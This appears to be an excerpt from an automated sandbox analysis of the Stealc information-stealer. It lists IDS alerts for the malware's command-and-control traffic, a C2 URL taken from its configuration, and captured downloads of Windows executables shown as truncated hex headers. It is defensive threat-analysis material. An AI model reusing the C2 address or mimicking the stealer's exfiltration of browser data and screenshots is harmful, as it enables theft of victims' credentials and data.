Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49707 -> 45.152.113.10:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 45.152.113.10:80 -> 192.168.2.5:49707
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49707 -> 45.152.113.10:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 45.152.113.10:80 -> 192.168.2.5:49707
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49707 -> 45.152.113.10:80
Source: Network traffic	Suricata IDS: 2044249 - Severity 1 - ET MALWARE Win32/Stealc Submitting Screenshot to C2 : 192.168.2.5:49707 -> 45.152.113.10:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://45.152.113.10/92335b4816f77e90.php
Source: Malware configuration extractor	URLs: http://45.152.113.10/92335b4816f77e90.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 10 Sep 2024 17:36:04 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 14:30:30 GMTETag: "10e436-5e7eeebed8d80"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 10 Sep 2024 17:36:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "a7550-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 10 Sep 2024 17:36:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 10 Sep 2024 17:36:08 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 10 Sep 2024 17:36:08 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 10 Sep 2024 17:36:10 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 10 Sep 2024 17:36:10 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 